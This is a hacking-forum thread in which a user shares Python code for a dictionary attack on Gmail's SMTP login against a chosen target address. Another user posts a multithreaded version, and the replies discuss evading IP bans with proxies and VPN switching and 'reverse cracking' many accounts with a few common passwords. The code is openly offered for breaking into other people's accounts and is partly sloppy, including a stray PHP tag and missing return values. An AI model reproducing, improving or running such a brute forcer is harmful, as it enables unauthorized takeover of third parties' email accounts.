

# Forum:[Hack Forums](#)

Thread: [\[FREE\] Simple Gmail Brute Forcer Code For Noobs](#)

**DeLiIRium** - August 7, 2017, 10:17 pm

Many people don't realize how hard cracking really is. With that said I can tell you right now that this cracker is slow and not very effective. The reason I post this is to show people how cracking really works and hopefully open their eyes making them realize that one doesn't simply "Hack an account" You will need to copy and paste the code below into a .py file  
You will also need to place your wordlist in the same directory as the py file

Anyways here is the code, make sure you're running python 2.x

```
Code import os
import smtplib
import sys
from colorama import init, Fore
init()
```

```
print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S
SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
```

```
os.getcwd
User = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
try:
    passwfile = open(passwfile, "r")
except IOError:
    print (Fore.RED + "[!]File Not Found")
```

```
for password in passwfile:
    try:
        session.login(User,password)
        print (Fore.GREEN + "    [+] PASSWORD FOUND: %s" % password)
        break
    except smtplib.SMTPAuthenticationError:
        print (Fore.RED + "    [!] INCORRECT: {!s}".format(password))
        session = smtplib.SMTP("smtp.gmail.com", 587)
        session.ehlo()
        session.starttls()
        session.ehlo()
    except smtplib.SMTPServerDisconnected:
        print (Fore.RED + "    [!] INCORRECT: {!s}".format(password))
        session = smtplib.SMTP("smtp.gmail.com", 587)
        session.ehlo()
```

```
session.starttls()
session.ehlo()
```

**vorticalbox** - August 8, 2017, 2:52 am

Not bad but why not make it multi threaded? I would also print out the username, the total number of passwords and well threads too.

Ideally, you don't want to print as it is really slow maybe use something like tqdm (pip install tqdm) and then print when you found the value? maybe something like this?

PHP Code

```
<?php
import os
import smtplib
import sys
from colorama import init, Fore
from multiprocessing import Pool
from tqdm import tqdm
init()

def loginCheck(p):
    session = smtplib.SMTP("smtp.gmail.com", 587)
    session.ehlo()
    session.starttls()
    session.ehlo()
    try:
        session.login(user,p)
        ret = [True, ' '.join([user,p])]
    except smtplib.SMTPAuthenticationError:
        session = smtplib.SMTP("smtp.gmail.com", 587)
        session.ehlo()
        session.starttls()
        session.ehlo()
        return [False]
    except smtplib.SMTPServerDisconnected:
        session = smtplib.SMTP("smtp.gmail.com", 587)
        session.ehlo()
        session.starttls()
        session.ehlo()
        return [False]

print (Fore.RED +
"\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")

os.getcwd
username = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
threads = int(raw_input (Fore.GREEN + " Enter number of threads: "))
try:
    passwfile = open(passwfile, "r").read().split('\n')
except IOError:
```

```
print (Fore.RED + "[!]File Not Found")

print (Fore.BLUE+"username: {0} passwords {1} threads {2}".format( username, len(passwfile),
threads))
print (Fore.GREEN+"")
for user in username:
    p = Pool(threads)
    for i in tqdm(p.imap_unordered(loginCheck, passwfile), total=len(passwfile)):
        if i[0] == True:
            print(i[1])
            break
    p.close()
```

Thanks for the code though I was planning on making one so going to use this as a base :)

**DeLiiRiuM** - August 8, 2017, 8:31 am

Hey man thanks, never thought about doing that. To be honest I just never messed with it because I don't really even crack.. But thanks that's a good idea!!

**vorticalbox** - August 8, 2017, 12:47 pm

(Aug 8, 2017 08:31 AM)DeLiiRiuM Wrote: [\[CITE\]](#) Hey man thanks, never thought about doing that. To be honest I just never messed with it because I don't really even crack.. But thanks that's a good idea!!

Pool, map and tqdm are a great way to multi thread and get a price bar then doesn't just spam your console with messages. It really bugs me when people do it lol.

**Vana** - August 8, 2017, 4:03 pm

Most modern SMTP servers will at the very least shadowban your IP if bruteforcing like this is detected.

Therefore, this is useless unless you add proxy support.

**DeLiiRiuM** - August 8, 2017, 4:49 pm

(Aug 8, 2017 04:03 PM)Vana Wrote: [\[CITE\]](#) Most modern SMTP servers will at the very least shadowban your IP if bruteforcing like this is detected.

Therefore, this is useless unless you add proxy support.

nope, you're wrong. It will ban you but only after like 100 attempts. So it's not that useless.

**TheMarkMan** - August 8, 2017, 4:53 pm

(Aug 8, 2017 04:49 PM)DeLiiRiuM Wrote: [\[CITE\]](#) nope, you're wrong. It will ban you but only after like 100 attempts. So it's not that useless.

So it's only useful for 100 attempts without a proxy? Good luck getting anything useful out of that. The man was right

**vorticalbox** - August 8, 2017, 4:58 pm

(Aug 8, 2017 04:03 PM)Vana Wrote: [\[CITE\]](#) Most modern SMTP servers will at the very least shadowban your IP if bruteforcing like this is detected.

Therefore, this is useless unless you add proxy support. Never done proxies with smtp though i assume is similar to requests.

**DeLiiRiuM** - August 8, 2017, 5:20 pm

(Aug 8, 2017 04:53 PM)TheMarkMan Wrote: [\[CITE\]](#) So it's only useful for 100 attempts without a proxy? Good luck getting anything useful out of that. The man was right  
Imao, its not that hard to just click a button and enable my vpn then start the list exactly where I left off. Now gtfo my thread haha

Vana - August 8, 2017, 6:02 pm

(Aug 8, 2017 05:20 PM)DeLiiRiuM Wrote: [\[CITE\]](#) Imao, its not that hard to just click a button and enable my vpn then start the list exactly where I left off. Now gtfo my thread haha  
And then your VPN gets banned and you have to switch to another server after 100 more tries.

Or you could add proxy support like I suggested and have it done automatically.

Don't call people idiots when you have zero clue what you're talking about.

TheMarkMan - August 8, 2017, 8:27 pm

(Aug 8, 2017 05:20 PM)DeLiiRiuM Wrote: [\[CITE\]](#) Imao, its not that hard to just click a button and enable my vpn then start the list exactly where I left off. Now gtfo my thread haha  
So, it really is a bruteforcer for noobs if thats how you want to go about changing IP addresses. Click that button how many times? As compared to what, once to start the script?

DeLiiRiuM - August 8, 2017, 11:24 pm

(Aug 8, 2017 06:02 PM)Vana Wrote: [\[CITE\]](#) And then your VPN gets banned and you have to switch to another server after 100 more tries.

Or you could add proxy support like I suggested and have it done automatically.

Don't call people idiots when you have zero clue what you're talking about.

Lol, I've used this method tons of times and never had a "banned vpn"  
but that doesn't matter anyways. As the title said, it's for noobs who want to learn how cracking works..

Vana - August 8, 2017, 11:32 pm

(Aug 8, 2017 11:24 PM)DeLiiRiuM Wrote: [\[CITE\]](#) Lol, I've used this method tons of times and never had a "banned vpn"

You said it yourself:

(Aug 8, 2017 04:49 PM)DeLiiRiuM Wrote: [\[CITE\]](#) It will ban you but only after like 100 attempts. Your VPN IP will get banned and you'll have to switch to another server on your VPN.

(Aug 8, 2017 11:24 PM)DeLiiRiuM Wrote: [\[CITE\]](#) but that doesn't matter anyways. As the title said, it's for noobs who want to learn how cracking works..

My point is that this script barely works so people shouldn't be learning about cracking with it.

?Criminal - August 8, 2017, 11:54 pm

(Aug 8, 2017 11:32 PM)Vana Wrote: [\[CITE\]](#) You said it yourself:

Your VPN IP will get banned and you'll have to switch to another server on your VPN.

My point is that this script barely works so people shouldn't be learning about cracking with it.  
Most people use SMTP servers these days to reverse crack anyways which is trying 1-5 passses across multiple gmails, these can in theory be used for a more advanced reverse cracker that tries 50-100 passwords across tons of OG gmails for example without getting banned and your bound to hopefully hit a few that way, I think socks5 support would be better they tend to be faster then public proxies which tend to be slow if someone wanted to try to make a forward cracker via SMTP and I

thought gmail blocks SMTP authentication by default unless you explicitly enable it unless im wrong? I could of sworn it emails the person saying your trying to log in using outdated technology, I know yahoo does that.

**ItzBjorn** - August 9, 2017, 7:26 am

(Aug 8, 2017 11:54 PM)?Criminal Wrote: [\[CITE\]](#) Most people use SMTP servers these days to reverse crack anyways which is trying 1-5 passses across multiple gmails, these can in theory be used for a more advanced reverse cracker that trys 50-100 passwords across tons of OG gmails for example without getting banned and your bound to hopefully hit a few that way, I think socks5 support would be better they tend to be faster then public proxies which tend to be slow if someone wanted to try to make a forward cracker via SMTP and I thought gmail blocks SMTP authentication by default unless you explicitly enable it unless im wrong? I could of sworn it emails the person saying your trying to log in using outdated technology, I know yahoo does that.

Gmail does that too, and if you logged in with an IP not familiair to the account it does it aswell.

**DeLiiRiuM** - August 9, 2017, 9:02 am

(Aug 8, 2017 11:54 PM)?Criminal Wrote: [\[CITE\]](#) Most people use SMTP servers these days to reverse crack anyways which is trying 1-5 passses across multiple gmails, these can in theory be used for a more advanced reverse cracker that trys 50-100 passwords across tons of OG gmails for example without getting banned and your bound to hopefully hit a few that way, I think socks5 support would be better they tend to be faster then public proxies which tend to be slow if someone wanted to try to make a forward cracker via SMTP and I thought gmail blocks SMTP authentication by default unless you explicitly enable it unless im wrong? I could of sworn it emails the person saying your trying to log in using outdated technology, I know yahoo does that.

yes you are actually right, forgot to put that in the thread. But theres still a few servers out there that don't do that. The only difference is that if you're using a less secure app it will just disconnect you on the first failed attempt, wich is why I reestablish the connection in that except block. All in all I was probably wrong to make this thread gmail, I posted this so people can get an understanding and overcome they're errors by themselves, that's how I learned and that's how I think everyone else should learn. I'm not gonna do everything for them ?

**Ensky** - August 9, 2017, 9:05 am

You should make it asynchronous for speed. (Or threaded, but I'm into asynio atm ;) )

**vorticalbox** - August 9, 2017, 10:06 am

(Aug 9, 2017 09:05 AM)The KGB Wrote: [\[CITE\]](#) You should make it asynchronous for speed. (Or threaded, but I'm into asynio atm ;) )

My post is multi threaded using Pool and map., never done asyn in python